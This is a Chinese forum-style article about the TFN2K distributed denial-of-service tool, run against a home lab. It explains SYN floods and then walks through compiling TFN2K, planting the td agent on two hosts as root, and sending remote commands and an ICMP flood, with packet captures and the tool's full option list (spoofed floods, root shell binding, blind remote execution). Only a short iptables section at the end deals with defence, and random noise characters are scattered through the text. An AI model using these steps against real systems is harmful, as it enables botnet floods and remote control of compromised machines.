分布式拒绝攻击(DDOS)软件tfn2k攻防

踏浪行歌

分布式拒绝攻击(DDOS)软件tfn2k攻防 : E& s; N( [* w( c5 D" i5 ` 首先，我写这篇文章的目的，并不是我想成为什么hacker之类，而且我不并不鼓励任何人利用它来做一些有损他人的事情，我只是想多一

些人关注网络安全，共同研究并防御DOS。因为我是深受其害，所以，这篇文章仅用于技术参考，供大家研究DDOS防御之用。如果你利用它来 7 Q$ o8 v7 Y/ ]

做一些不合法的事情，那结果与我无关。 拒绝服务攻击（DOS，DenialOfService)可以指任何使服务不能正常提供的操作。如软件bug,操作失误等。不过现在因为失误操作而造成

的dos，可能性非常小，更多的是恶意的攻击行为。现在拒绝服务攻击早已演变为分布式拒绝服务攻击(DDOS,DistributedDenialOf . g9 Y k% D ^

Service),利用更多的代理集中攻击目标，其危害更大。 ! \7 i# a; p% o3 U我们大家都知道tcp/ip协议现在已经成为整个internet框架协议，可以说，如果没有tcp/ip，至少internet不会像现在这样普及，甚至不 # d: w8 a, C' k- |- q7 M( ^- u

可能会有internet。但凡事皆有两面性，tcp/ip使我们大家受益，同时因为协议本身构造的问题，它也成为别人攻击我们的工具。我们以tcp三

握手建立连接的过程来说明。 " U+ A1 W7 N6 d) F 一。tcpsynflood 6 A k I6 R2 j Y5 k, ` 1.客户端(client)发送一个包含SYN(synchronize)的tcp包至服务器，此数据包内包含客户端端口及tcp序列号等基本信息。 2.服务器(server)接收到SYN包之后，将发送一个SYN-ACK包来确认。 ( f% x; {) U3 t! s& `3.客户端在收到服务器的SYN-ACK包之后，将回送ACK至服务器，服务器如接收到此包，则TCP连接建立完成，双方可以进行通讯（感觉像 1 G5 G& k# B# Z: g6 M/ P7 n

，一拜天地...二拜高堂...送入洞房...哈哈） 6 v7 \$ ~. r; {4 A

问题就出在第3步，如果服务器收不到客户端的ACK包，将会等待下去，这种状态叫做半连接状态。它会保持一定时间(具体时间不同操作系 + } f1 n$ `' s' x0 O% k

统不同),如果SYN请求超过了服务器能容纳的限度，缓冲区队列满，那么服务器就不再接收新的请求了,其他合法用户的连接都被拒绝掉。这种

攻击往往事半罪倍，杀伤力超强。 当然，DOS攻击的方法多种多样，如:UDPflood,ICMP/Ping,ICMP/SMURF...,具体原理的介绍大家可以到<a

href=http://www.chinaitlab.com/www/special/ciwddos.asp>http://www.chinaitlab.com/www/special/ciwddos.asp</a>去看看，有很详细 ! V) [( e- N* k5 W5 H/ w

的原理及常用攻击软件介绍。不过说到DOS攻击软件，最具代表的莫过于tfn2k(TribeFloodNetwork2000),其作者是德国大名鼎鼎的mixter( . M$ x: d% p0 ?5 R# e7 E' H7 m

其主页http://mixter.void.ru/papers.html),好像最近正在埋头搞什么tfn3k，哎~~，不知道又有多少人寝食难安了... . i n; W9 |1 ? j3 Y. r, ]& F

二.tfn2k攻击原理 : ]% x) O5 C4 C! U2 V5 S( w8 r

1.tfn2k的攻击体系。

tfn2k应该算是DDOS攻击中的代表作，其所能实现的功能让人瞠目结舌，叹为观止...(对它的敬畏有如滔滔江水，延续不绝...)来看看它 ) k% Q0 k7 F/ u9 V. E3 P0 e% I$ n

的架构。 # O; D5 a' W' I( X, C% r主控端---运行tfn客户端，来遥控并指定攻击目标，更改攻击方法.(罪大恶极) / f% h& I& v$ @& z) H2 C' i3 Y) I代理端---被植入并运行td进程的牺牲品，接受tfn的指挥，攻击的实施者.需要注意的是，一个攻击者，往往控制多台代理来完成攻击，而

且其系统多为unix,linux等.(可怜的牺牲品） 目标主机---被攻击的主机或网络，曾经被DDOS的有Yahoo、Amazon、CNN、e-bay等.(最大的受害者，郁闷如我) 2.tfn2k特性。 　◆主控端通过TCP、UDP、ICMP或随机性使用其中之一(默认.随机)的数据包向代理端主机发送命令,攻击方法包括TCP/SYN、UDP、 . t* \9 L& r% R+ F1 M! s; T

ICMP/PING、混合攻击、TARGA3等。 ◆主控端与代理端的通讯采取单向，即主控端只向代理端发送命令，并且会采取随机的头信息，甚至虚拟的源地址信息,代理端不会 6 g2 N* T5 g2 b' T- T/ [, F0 W1 W4 Z3 w

逆向向主控端发送任何信息. ◆所有命令经过CAST-256算法加命,其关键字即编译程序时的输入的口令.并且这个口令做为唯一认证凭证. ◆利用td进程，主控端可以远程执行shell命令. ◆td进程的名称可以在编译时更改,更便于隐藏. ◆tfn可以编译运行于win32及linux系统的. ... 至于伪造源IP地址等功能，更是基本功能，并且其与老版本的tfn相比，它的发包效率更高，我自已的测试，在短短不到5分钟，两台

代理机，使我的redhatlinux9.0系统瘫痪. + j! h- {4 e, P/ W1 [% `( i$ q; z

三.tfn2k实战测试 1.测试环境: 软件：redhatlinux9.0 # S# k N6 p+ A( d# M! }6 W: u硬件平台： master: IP:192.168.0.6 - O: k" t& V% r/ f, @( L! jPIV2.4/256*2/rtl8139 0 V- M7 B2 f% w2 \3 \Ag1: - ?8 p; U8 `: bIP:192.168.0.2 - _$ a& A- _# n ~) QPIV2.4/256*/rtl8139 AG2:IP:192.168.0.3 % \" {* m( x" ]5 a% VpIV2.6/512*2/3c905 AIM:192.168.0.5 pIV2.66c/512*2/3c905 switch_linkdes1024R

1.下载tfn2k.tgz(因为此软件非比寻常，所以我并不提供下载地址，如果有兴趣，自已到网上找吧) $ y' u9 s' g: {: u2.解压：tarzxvftfn2k.tgz 3.修改文件 A.src/Makefile如果你的系统是linux系统，不需要做任何修就可以，如果是win32系统，请将 # I' T+ F/ j8 a4 x! h# F/ m! `#Linux/*BSD*/Others : p" [- x" s- ^) Q; i' i% eCC=gcc CFLAGS=-Wall-O3 CLIBS= 0 u) E& n4 D& h% A这几行注释掉,并将 #Win32(cygwin) #CC=gcc 9 t( W( v, j( y8 D3 ]#CFLAGS=-Wall-DWINDOZE-O2 {/ R5 P* Z. i6 `- o) S4 w: f9 i3 ?& H#CLIBS= 这几行的注释去掉.因为我的测试系统为redhatlinux9.0所以并未做任何修改. , k/ G1 O! g9 a7 n4 |6 T# ]: h

B.src/config.h，默认的就可以用，如果感兴趣，可以照其注释信息进行调整。 C.src/ip.h这里要做一些修改，否则编译会有错误，发生重复定义。 /*structin_addr ; S3 C4 d- W1 U; v0 c{ unsignedlongints_addr; };*/ 注意啊~~我可是将它放在"/**/"之间，也就是注释掉了 1 Q, f: c+ |* v/ k+ U ) h5 F* k/ F* p9 _" y' YD.更改编译器： 因为tfn2k支持的是egcs-1.1.2-30,而redhatlinux9.0所包含的是gcc-3.2.2-5,所以如果不替换掉gcc，tfn2k是编译不过去的.需 , u; w9 H! A( Z( C [# f

要注意的是，更改之后，有可能会造成基于gcc3.2.2的软件编译不去,请谨慎而行. 方法很简单的，找到一张redhatlinux6.2安装盘,将egcs-1.1.2-30.rpm、cpp-1.1.2-30.rpm拷到~/ cd/mnt/cdrom/Redhat/RPMS cpegcs-1.1.2-30*cpp-1.1.2-30*~/ : K4 h. T$ S+ J* L安装cpprpm-Uvh--nodeps--oldpackagecpp-1.1.2-30.i386.rpm / Z; G k2 i# w, s" r- ]安装egcsrpm-Uvhegcs-1.1.2-30.i386.rpm(如果提示有误，用nodeps、oldpackages、ignoreos等参数忽略过去就是了） 4.编译tfn2k 2 M$ S6 t9 R- `cdtfn2k/src make 首先会谈出一个声明，你必须接受，之后会提示输入8-32位密码,前边提到过，这是唯一的认证凭证，会被分发于td进程中，所以一定 * w4 @: y6 w0 j; e7 x$ H

要记牢噢~。 编译通过后，会产生td及tfn，这就是大名鼎鼎的tfn2k啦~,td是守护进程，用来安装在代理中的，而tfn就是控制端. 0 }2 ]/ E( K+ p& A6 ?

5.安装td. 将td上传到我的两台代理,ag1(192.168.0.2)和ag2(192.168.0.3)，因为我只不过测试，所以用的是合法的root来上传并执行td进程的 $ L# }3 {$ X+ }

，如果真要找到并安装一个代理，你可能得费点儿神，因为没有一个管理员会说“comeonbaby~~.我给你root,来安装td做代理吧” [root@test/]ftp192.168.0.2 ' w% @. O' S! L' J& b6 [2 L& B$ iConnectedto192.168.0.2. 1 o0 D# z9 F/ p- ]7 i/ V% X" C530PleaseloginwithUSERandPASS. 530PleaseloginwithUSERandPASS. m& }# y2 i6 N+ @/ cName(192.168.0.2:root):wjpfjy 7 n8 G: n& _( \9 z! Y" y$ l; _331Pleasespecifythepassword. 0 v9 g2 ?3 A. `( J# L5 FPassword: 9 p I# j- ]+ \/ c6 v. Y/ ^230Loginsuccessful.Havefun. RemotesystemtypeisUNIX. ; L8 J4 ~% R0 \6 q9 qUsingbinarymodetotransferfiles. : U) l" q$ r/ I U+ mftp>puttd(上传td) 7 H3 x s" e& B& x0 K4 H& plocal:tdremote:td . E" h; {5 r5 ?" T6 o! b2 t227EnteringPassiveMode(192,168,0,3,198,225) 553Couldnotcreatefile. ftp>by(退出ftp) 0 n- ]/ c, \! Z7 g$ ?221Goodbye. 9 G8 A/ ?; v7 {7 e. A$ h3 ^- g[root@test/]ssh192.168.0.2登陆到ag1以执行td,注意，我用的是root帐户，这样才有足够的权限来执行它. root@192.168.0.2spassword: ' {* N0 Y: O! Y' |Lastlogin:TueFeb2406:51:132004 $ j" G8 |- Y- |( g& X& B- Q* I[root@ag1/]find/-nametd-print找到刚上传过来的文件td. [root@ag1wjpfjy/]chmoda+xtd使之具有执行权限. [root@ag1wjpfjy/]./td运行td，这样你就拥有一个代理了，它会对你唯命是从的。 ; I# `6 W% O/ o; K5 y, t J　　　 5 ~0 N6 Q0 E, F9 G5 d7 A4 _　　用同样的方法在ag2(192.168.0.3)上安装并运行TFN2k进程td. ' v, a6 J6 R) J) X- K' t0 i2 t6.攻击开始(悲惨的回忆上演中...) " f% q4 T. A' g回到master(192.168.0.6)，准备演练... 4 k3 b/ |4 W5 l9 u6 ~# ?: F　　　[root@masterroot]#touchhost.txt建立代理记录文件(因为如果你足够无聊的话，有可能会建立很多的肉鸡－代理，不记下会忘

记的噢.) [root@masterroot]echo"192.168.0.2">host.txt将执行过td的ag1加入host.txt。 　　　[root@masterroot]echo"192.168.0.3">>host.txt添加ag2到host.txt. 　　　先来测试一下链接。 ( B: F! b$ y( n5 l) v8 H; ]　　　[root@masterroot]./tfn-fhost.txt-c10-i"mkdirwjpfjy"与host.txt中的代理通讯，让其执行命令mkdirwjpfjy即建立一个

目录 8 [* c4 ^/ o' @& x" f" A　Protocol:random SourceIP:random 6 R5 D( O+ O X: WClientinput:list 1 }1 G1 P* U9 ACommand:executeremotecommand

　　　Passwordverification:　　　　这里，会被提示输入密码，也就是编译时输入的密码,如果错了，将无法与td进程通讯

　　　Sendingoutpackets:.. 1 H0 X1 _3 o6 e7 h5 U2 ]; f! I, v

到ag1和ag2看看有没有建立目录名wjpfjy，一般情况下,会存在于td的同一目录,如果不确定，可以用find/-namewjpfjy-print来查找 　　 . h) Y0 f+ Y% e　　　[root@masterroot]./tfn-fhost.txt-c6-i192.168.0.5　开始ICMP/PING攻击aim...(可怜我的P4啊，不到5分钟,就跟386一样慢 3 p( }$ @) l( J: [

)，不过它在gameover前，还是很艰辛的记录下了攻击数据,也算是对得住的那NK大洋啦.这是tcpdump的抓包记录. [root@aimroot]#tcpdump-rpack.atta-c4-xX 08:03:36.52490723.43.171.0>192.168.0.5icmp:echorequest[ttl0] # I9 q# i" ?. K8 @0 r0x00004500005c659d00000001d22e172bab00E..\e........+.. 9 z$ S( i: j5 Z# [0x0010c0a800020800f7ff0000000000000000................ 0x002000000000000000000000000000000000................ 0x003000000000000000000000000000000000................ 1 k4 ]" g. s8 @0x004000000000000000000000000000000000................ 0x00500000.. 08:03:36.524933192.168.0.5>23.43.171.0:icmp:echoreply 0x00004500005ca5d50000400151f6c0a80002E..\....@.Q..... 6 G+ c8 N# P7 T; f; {0 }0x0010172bab000000ffff0000000000000000.+.............. / Y/ E& e3 {( P/ p1 a2 u# K' E; l5 G! e0x002000000000000000000000000000000000................ # p/ J# o+ @0 _, W E0x003000000000000000000000000000000000................ L5 W+ B$ h' ]( S; Q2 }: B( }. l4 O) [0x004000000000000000000000000000000000................ 1 O. P0 o9 V) k6 h0x00500000.. ) W8 H3 L! X' \8 `% K: _+ a7 l08:03:36.52494436.235.130.0>192.168.0.5:icmp:echorequest[ttl0] " T) h7 K3 J6 t0x00004500005c659d00000001ed6e24eb8200E..\e......n$... 0x0010c0a800020800f7ff0000000000000000................ . V9 \8 N U% _ K; q- B7 X0x002000000000000000000000000000000000................ 0x003000000000000000000000000000000000................ 0x004000000000000000000000000000000000................ 0x00500000.. ! M. s9 p2 g& W6 f! G* g2 r% `08:03:36.524984192.168.0.5>36.235.130.0:icmp:echoreply n% c% H/ `" |: V* y0x00004500005c551c00004001bdefc0a80002E..\U...@....... . u0 h$ E* f" l9 \4 m6 f0x001024eb82000000ffff0000000000000000$............... 1 J+ g# p; T' X; x/ Y0x002000000000000000000000000000000000................ 0x003000000000000000000000000000000000................ ) H! L9 g K) l8 S: I: C" x. \# Z0x004000000000000000000000000000000000................ 　 　[root@masterroot]./tfn-fhost.txt-c0停止攻击 * Y9 b) k) x+ S5 n9 l3 Q* y

Protocol:random 8 s' p2 Y0 j/ mSourceIP:random ) y. s" I4 @. c* [6 j. s$ DClientinput:list Command:stopflooding

Passwordverification: ' E+ H- h6 r _7 Q' a

Sendingoutpackets:... 2 L5 m2 E" O" X& w

当然还有别的攻击方法，你只要用-cX就可以更改攻击方法.

[root@masterroot]./tfn usage:./tfn<options> . m( M& u$ h: Z3 m' ^[-Pprotocol]Protocolforservercommunication.CanbeICMP,UDPorTCP. * g3 ?" V4 [3 V9 z, P" DUsesarandomprotocolasdefault [-Dn]Sendoutnbogusrequestsforeachrealonetodecoytargets * _0 Z# N* E. B[-Shost/ip]SpecifyyoursourceIP.Randomlyspoofedbydefault,youneed # i/ Z. e8 e1 V. ntouseyourrealIPifyouarebehindspoof-filteringrouters : [6 ?9 X2 ^8 ]. I& o: u: S$ V[-fhostlist]FilenamecontainingalistofhostswithTFNserverstocontact / W3 ^! w! m% {$ K Y& w[-hhostname]TocontactonlyasinglehostrunningaTFNserver 8 K+ V4 m8 f! }[-itargetstring]Containsoptions/targetsseparatedby@,seebelow ; Z3 [9 \' T* Z* `. w[-pport]ATCPdestinationportcanbespecifiedforSYNfloods <-ccommandID>0-Haltallcurrentfloodsonserver(s)immediately 2 H% ]- r# f2 @* @8 e1-ChangeIPantispoof-level(evaderfc2267filtering) usage:-i0(fullyspoofed)to-i3(/24hostbytesspoofed) 2-ChangePacketsize,usage:-i<packetsizeinbytes> 1 E/ M8 X ^; P3-Bindrootshelltoaport,usage:-i<remoteport> + H0 r& K$ p% B7 L& ^4-UDPflood,usage:-ivictim@victim2@victim3@... 6 `- o) M) R; y7 R) a5-TCP/SYNflood,usage:-ivictim@...[-pdestinationport] / Y( `* G' p; A1 E6-ICMP/PINGflood,usage:-ivictim@... 7-ICMP/SMURFflood,usage:-ivictim@broadcast@broadcast2@... $ ~) o+ N" {. S; Q, U8-MIXflood(UDP/TCP/ICMPinterchanged),usage:-ivictim@... 9-TARGA3flood(IPstackpenetration),usage:-ivictim@... 10-Blindlyexecuteremoteshellcommand,usage-icommand

, s! c9 a M) G+ _四.防守办法 就如同网上所有介绍DDOS的文章一样，DDOS防不胜防，我试着用防火墙过滤掉所有icmp包，来保护我的主机，但所实现的，只是我的主机晚

点儿崩溃而已.哎～，别指望我来防DDOS,要能防，我也不用不睡觉啊 3 s7 l4 [0 x5 Y' C2 i( Z+ R; r　　还是那句老话，我们能做的，就是尽量让我们的主机不成为别人攻击的代理，并对intranet内出行的包进行严格限制，尽量不去危害别人 ! s7 i# b1 f# Q5 L+ m# a

，只要大家都这样做，我们的网络环境才可以安全一些，至少，我可以安心睡几天觉. 附上我防火墙的一部分.主要是针对ICMP/PING的，不过用处不太大 ; P% ?/ i7 c6 e) _$ Y2 H

/sbin/iptables-PINPUTDROP /sbin/iptables-AINPUT-ilo-pall-jACCEPT /sbin/iptables-AINPUT-ieth1-picmp-jACCEPT 8 M- U5 b# Y6 A/sbin/iptables-AINPUT-picmp--icmp-type8-jDROP 5 ^2 y! U0 U, l r* T* H/sbin/iptables-AINPUT-s127.0.0.2-ilo-jACCEPT /sbin/iptables-AINPUT-s127.0.0.2-ieth0-jDROP /sbin/iptables-AINPUT-s$LAN_NET/24-ieth0-jDROP % U2 ^8 T; j# g1 A3 i4 V/sbin/iptables-AINPUT-s172.16.0.0/12-ieth0-jDROP /sbin/iptables-AINPUT-s10.0.0.0/8-ieth0-jDROP /sbin/iptables-AINPUT-ieth0-mlimit--limit1/sec--limit-burst5-jACCEPT/sbin/iptables-AINPUT-ieth0-pudp-m

state--stateNEW-jREJECT /sbin/iptables-AINPUT-ptcp--dport22-jACCEPT /sbin/iptables-AINPUT-ptcp--dport80-jACCEPT /sbin/iptables-AINPUT-ptcp-ieth1--dport53-jACCEPT /sbin/iptables-AINPUT-pudp-ieth1--dport53-jACCEPT /sbin/iptables-AINPUT-ptcp-ieth0-mstate--stateESTABLISHED,RELATED-mtcp--dport1024:-jACCEPT /sbin/iptables-AINPUT-pudp-ieth0-mstate--stateESTABLISHED,RELATED-mudp--dport1024:-jACCEPT ! _3 q0 C/ G2 y1 s) Q7 O& E/sbin/iptables-AINPUT-picmp--icmp-typeecho-request-jLOG--log-level2 2 j3 K+ W) r$ y4 G$ | O* n9 H/sbin/iptables-AINPUT-ieth0-picmp--icmp-typeecho-request-jDROP /sbin/iptables-AINPUT-ptcp-mmultiport--destination-port135,137,138,139-jLOG 8 A4 j" W& A$ q/ y y9 O/sbin/iptables-AINPUT-pudp-mmultiport--destination-port135,137,138,139 -jLOG /sbin/iptables-AINPUT-ieth0-ptcp--dport2000-jACCEPT 1 M8 ?0 O/ I; \/sbin/iptables-AINPUT-ieth0-ptcp--dport2001-jACCEPT # v. E9 ^4 s! V7 u8 D# n) q% _& {8 T/sbin/iptables-AINPUT-ptcp-ieth1-mstate--stateESTABLISHED,RELATED-mtcp--dport1024:-jACCEPT

　以上只是我个人的一些摸索经验，不足或错误之处，还望指证。如果您可以防止DDOS，也请告诉我 ) @& M1 ? V" }3 n! S因为本文内容的特殊性，转载请通知我，谢谢合作QQ:928395 : f% r2 \' M' X 5 u# U; ~" M) r8 _. }

[em09]